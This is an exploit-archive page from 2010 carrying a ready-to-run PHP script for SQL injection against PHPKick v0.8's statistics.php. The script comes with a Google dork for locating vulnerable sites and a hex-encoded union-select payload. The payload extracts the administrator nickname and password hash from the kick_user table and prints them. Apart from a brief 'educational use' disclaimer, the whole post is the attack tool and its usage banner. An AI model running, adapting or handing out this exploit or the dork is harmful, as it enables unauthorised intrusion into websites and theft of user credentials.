Home / os / win7

PHPKick v0.8 statistics.php SQL Injection Exploit

Posted on 08 August 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>PHPKick v0.8 statistics.php SQL Injection Exploit</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>=================================================
PHPKick v0.8 statistics.php SQL Injection Exploit
=================================================


# Date: August 8th, 2010
# Time: 03:45am ;(
# Author: garwga
# Version: 0.8
# Google dork : &quot;© 2004 PHPKick.de Version 0.8&quot;
# Category:  webapps/0day
# Code: see below
  
&lt;?php
    echo&quot;

&quot;;
    echo&quot;|=================PHPKick v0.8 statistics.php SQL Injection==================|
&quot;;
    echo&quot;|                                                                            |
&quot;;
    echo&quot;|Syntax: php &quot;.$_SERVER['argv'][0].&quot; [host] [path]                                       |
&quot;;
    echo&quot;|                                                                            |
&quot;;
    echo&quot;|Example: php &quot;.$_SERVER['argv'][0].&quot; http://www.domain.com /path/                       |
&quot;;
    echo&quot;|                                                                            |
&quot;;
  
    echo&quot;|Notes:This exploit works regardless of the PHP security settings            |
&quot;;
    echo&quot;|      (magic_quotes, register_globals).This exploit is only for educational |
&quot;;
    echo&quot;|      use, use it on your own risk! Exploiting scripts without permission of|
&quot;;
    echo&quot;|      the owner of the webspace is illegal!                                 |
&quot;;
    echo&quot;|      I'm not responsible for any resulting damage                          |
&quot;;
    echo&quot;|                                                                            |
&quot;;
    echo&quot;|Google Dork: &quot;© 2004 PHPKick.de Version 0.8&quot;                                |
&quot;;
    echo&quot;|                                                                            |
&quot;;
    echo&quot;|Exploit found by garwga (ICQ#:453-144-667)                                  |
&quot;;
    echo&quot;|============================================================================|


&quot;;
  
  
if($_SERVER['argv'][1] &amp;&amp; $_SERVER['argv'][2]){
    $host=$_SERVER['argv'][1];
    $path=$_SERVER['argv'][2];
    $spos=strpos($host, &quot;http://&quot;);
    if(!is_int($spos)&amp;&amp;($spos==0)){
       $host=&quot;http://$host&quot;;
      }
    if(!$host==&quot;http://localhost&quot;){
       $spos=strpos($host, &quot;http://www.&quot;);
       if (!is_int($spos)&amp;&amp;($spos==0)){
          $host=&quot;http://www.$host&quot;;
          }
      }
    $exploit=&quot;statistics.php?action=overview&amp;gameday=-32%20union%20select%201,2,3,4,0x2720756e696f6e2073656c65637420312c322c636f6e636174286e69636b2c273a272c70617373776f7274292c342c352c362c372066726f6d206b69636b5f757365722077686572652069643d2231222d2d2066,6,7,8--%20f&quot;;
    echo&quot;exploiting...
&quot;;
    $source=file_get_contents($host.$path.$exploit);
    $username=GetBetween($source,&quot; :&lt;br&gt;&quot;,&quot;:&quot;);
    echo &quot;username: $username
&quot;;
    $hash=GetBetween($source,&quot;&lt;br&gt;$username:&quot;,&quot;&lt;/td&gt;&quot;);
    echo&quot;hash: $hash
&quot;;
    }
else{
    echo&quot;

&quot;;
    echo&quot;|=================PHPKick v0.8 statistics.php SQL Injection==================|
&quot;;
    echo&quot;|                                                                            |
&quot;;
    echo&quot;|Syntax: php &quot;.$_SERVER['argv'][0].&quot; [host] [path]                                       |
&quot;;
    echo&quot;|                                                                            |
&quot;;
    echo&quot;|Example: php &quot;.$_SERVER['argv'][0].&quot; http://www.domain.com /path/                       |
&quot;;
    echo&quot;|                                                                            |
&quot;;
  
    echo&quot;|Notes:This exploit works regardless of the PHP security settings            |
&quot;;
    echo&quot;|      (magic_quotes, register_globals).This exploit is only for educational |
&quot;;
    echo&quot;|      use, use it on your own risk! Exploiting scripts without permission of|
&quot;;
    echo&quot;|      the owner of the webspace is illegal!                                 |
&quot;;
    echo&quot;|      I'm not responsible for any resulting damage                          |
&quot;;
    echo&quot;|                                                                            |
&quot;;
    echo&quot;|Google Dork: &quot;© 2004 PHPKick.de Version 0.8&quot;                                |
&quot;;
    echo&quot;|                                                                            |
&quot;;
    echo&quot;|Exploit found by garwga (ICQ#:453-144-667)                                  |
&quot;;
    echo&quot;|============================================================================|
&quot;;
}
function GetBetween($content,$start,$end){
    $r = explode($start, $content);
    if (isset($r[1])){
        $r = explode($end, $r[1]);
        return $r[0];
    }
    return '';
}
?&gt;


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-08-08]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP

Malware :

Exploits :